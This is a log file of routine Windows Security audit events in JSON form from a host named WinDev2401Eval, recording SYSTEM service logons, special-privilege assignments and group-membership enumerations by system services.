{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.607381Z"}},"EventRecordID":20972,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.624340Z"}},"EventRecordID":20973,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.624345Z"}},"EventRecordID":20974,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.629097Z"}},"EventRecordID":20975,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.629104Z"}},"EventRecordID":20976,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.634310Z"}},"EventRecordID":20977,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.634316Z"}},"EventRecordID":20978,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.635588Z"}},"EventRecordID":20979,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.635593Z"}},"EventRecordID":20980,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.636979Z"}},"EventRecordID":20981,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.636986Z"}},"EventRecordID":20982,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.641818Z"}},"EventRecordID":20983,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.641823Z"}},"EventRecordID":20984,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.669706Z"}},"EventRecordID":20985,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.669750Z"}},"EventRecordID":20986,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.715196Z"}},"EventRecordID":20987,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-20","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e4","CallerProcessId":"0xc38","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.717388Z"}},"EventRecordID":20988,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-20","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e4","CallerProcessId":"0xc38","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.765295Z"}},"EventRecordID":20989,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xcc0","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.765871Z"}},"EventRecordID":20990,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xcc0","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.770811Z"}},"EventRecordID":20991,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.770817Z"}},"EventRecordID":20992,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.802768Z"}},"EventRecordID":20993,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xc94","CallerProcessName":"C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\sqlwriter.exe"}}}
